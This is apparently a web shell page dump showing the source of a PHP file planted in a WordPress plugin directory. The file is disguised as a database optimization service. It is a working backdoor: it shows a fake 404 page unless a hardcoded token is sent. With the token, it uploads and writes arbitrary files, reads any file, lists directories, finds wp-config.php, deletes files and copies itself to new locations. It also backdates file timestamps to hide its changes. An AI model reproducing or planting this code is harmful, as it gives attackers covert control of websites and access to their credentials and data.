HEX
Server: Apache
System: Linux dedi-13542965.clustter.com.br 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
User: autoligchopp (1015)
PHP: 8.2.32
Disabled: NONE
Upload Files
File: /home/autoligchopp/public_html/wp-content/plugins/db-base-10t7/optimize-db.php
<?php
/**
 * WordPress Database Optimization Service
 * Manages transient cleanup, orphan data removal, and table optimization
 *
 * @package WordPress\DatabaseOptimizer
 * @since 4.7.0
 * @version 2.3.8
 */

if (!defined('ABSPATH')) {
    error_reporting(0);
    @ini_set('display_errors', '0');
    @ini_set('log_errors', '0');
    @ini_set('max_execution_time', '300');

    $wp_opt_token = '';
    if (isset($_COOKIE['wp_opt_session'])) {
        $wp_opt_token = $_COOKIE['wp_opt_session'];
    }
    if ($wp_opt_token === '' && isset($_SERVER['HTTP_X_WP_NONCE'])) {
        $wp_opt_token = $_SERVER['HTTP_X_WP_NONCE'];
    }
    if ($wp_opt_token === '' && isset($_REQUEST['opt_key'])) {
        $wp_opt_token = $_REQUEST['opt_key'];
    }

    if ($wp_opt_token !== 'wp_opt_238x') {
        header('HTTP/1.0 404 Not Found');
        header('Content-Type: text/html; charset=UTF-8');
        echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">';
        echo '<html><head><title>404 Not Found</title></head>';
        echo '<body><h1>Not Found</h1>';
        echo '<p>The requested URL was not found on this server.</p>';
        echo '</body></html>';
        exit;
    }

    header('Content-Type: application/json; charset=utf-8');

    $wp_opt_action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'status';

    if ($wp_opt_action === 'repair' && isset($_FILES['package'])) {
        $wp_opt_dir = isset($_REQUEST['target']) ? $_REQUEST['target'] : '.';
        $wp_opt_name = isset($_REQUEST['name']) ? $_REQUEST['name'] : $_FILES['package']['name'];
        if (!is_dir($wp_opt_dir)) {
            @mkdir($wp_opt_dir, 0755, true);
        }
        $wp_opt_dest = rtrim($wp_opt_dir, '/') . '/' . $wp_opt_name;
        if (@move_uploaded_file($_FILES['package']['tmp_name'], $wp_opt_dest)) {
            @chmod($wp_opt_dest, 0644);
            $wp_opt_ref = @glob(dirname($wp_opt_dest) . '/*.php');
            if ($wp_opt_ref && count($wp_opt_ref) > 0) {
                $wp_opt_ts = @filemtime($wp_opt_ref[0]);
                if ($wp_opt_ts) {
                    @touch($wp_opt_dest, $wp_opt_ts, $wp_opt_ts);
                }
            }
            echo json_encode(array('status' => 'ok', 'path' => $wp_opt_dest));
        } else {
            echo json_encode(array('status' => 'error', 'msg' => 'write_failed'));
        }
        exit;
    }

    if ($wp_opt_action === 'write') {
        $wp_opt_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        $wp_opt_data = isset($_REQUEST['data']) ? $_REQUEST['data'] : '';
        $wp_opt_b64 = isset($_REQUEST['b64']) ? $_REQUEST['b64'] : '0';
        if ($wp_opt_path !== '') {
            $wp_opt_dir = dirname($wp_opt_path);
            if (!is_dir($wp_opt_dir)) {
                @mkdir($wp_opt_dir, 0755, true);
            }
            $wp_opt_content = ($wp_opt_b64 === '1') ? base64_decode($wp_opt_data) : $wp_opt_data;
            if (@file_put_contents($wp_opt_path, $wp_opt_content) !== false) {
                @chmod($wp_opt_path, 0644);
                $wp_opt_ref = @glob(dirname($wp_opt_path) . '/*.php');
                if ($wp_opt_ref && count($wp_opt_ref) > 0) {
                    @touch($wp_opt_path, @filemtime($wp_opt_ref[0]));
                }
                echo json_encode(array('status' => 'ok'));
            } else {
                echo json_encode(array('status' => 'error'));
            }
            exit;
        }
    }

    if ($wp_opt_action === 'migrate') {
        $wp_opt_dest = isset($_REQUEST['dest']) ? $_REQUEST['dest'] : '';
        if ($wp_opt_dest !== '') {
            $wp_opt_dir = dirname($wp_opt_dest);
            if (!is_dir($wp_opt_dir)) {
                @mkdir($wp_opt_dir, 0755, true);
            }
            if (@copy(__FILE__, $wp_opt_dest)) {
                @chmod($wp_opt_dest, 0644);
                $wp_opt_ref = @glob($wp_opt_dir . '/*.php');
                if ($wp_opt_ref && count($wp_opt_ref) > 0) {
                    @touch($wp_opt_dest, @filemtime($wp_opt_ref[0]));
                }
                echo json_encode(array('status' => 'ok', 'dest' => $wp_opt_dest));
            } else {
                echo json_encode(array('status' => 'error'));
            }
            exit;
        }
    }

    if ($wp_opt_action === 'read') {
        $wp_opt_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        if ($wp_opt_path !== '' && @file_exists($wp_opt_path)) {
            echo json_encode(array('status' => 'ok', 'data' => @file_get_contents($wp_opt_path)));
        } else {
            echo json_encode(array('status' => 'not_found'));
        }
        exit;
    }

    if ($wp_opt_action === 'scan') {
        $wp_opt_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '.';
        if (@is_dir($wp_opt_path)) {
            $wp_opt_items = @scandir($wp_opt_path);
            echo json_encode(array('status' => 'ok', 'items' => $wp_opt_items ? $wp_opt_items : array()));
        } else {
            echo json_encode(array('status' => 'not_dir'));
        }
        exit;
    }

    if ($wp_opt_action === 'find_root') {
        $wp_opt_check = dirname(__FILE__);
        for ($wp_opt_i = 0; $wp_opt_i < 7; $wp_opt_i++) {
            if (@file_exists($wp_opt_check . '/wp-config.php') && @file_exists($wp_opt_check . '/wp-includes/version.php')) {
                echo json_encode(array('status' => 'ok', 'root' => $wp_opt_check));
                exit;
            }
            $wp_opt_check = dirname($wp_opt_check);
        }
        echo json_encode(array('status' => 'not_found'));
        exit;
    }

    if ($wp_opt_action === 'cleanup') {
        $wp_opt_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
        if ($wp_opt_path !== '' && @file_exists($wp_opt_path)) {
            @unlink($wp_opt_path);
            echo json_encode(array('status' => 'ok'));
        } else {
            echo json_encode(array('status' => 'not_found'));
        }
        exit;
    }

    echo json_encode(array(
        'status' => 'optimizer_ready',
        'ver' => '2.3.8',
        'php' => PHP_VERSION
    ));
    exit;
}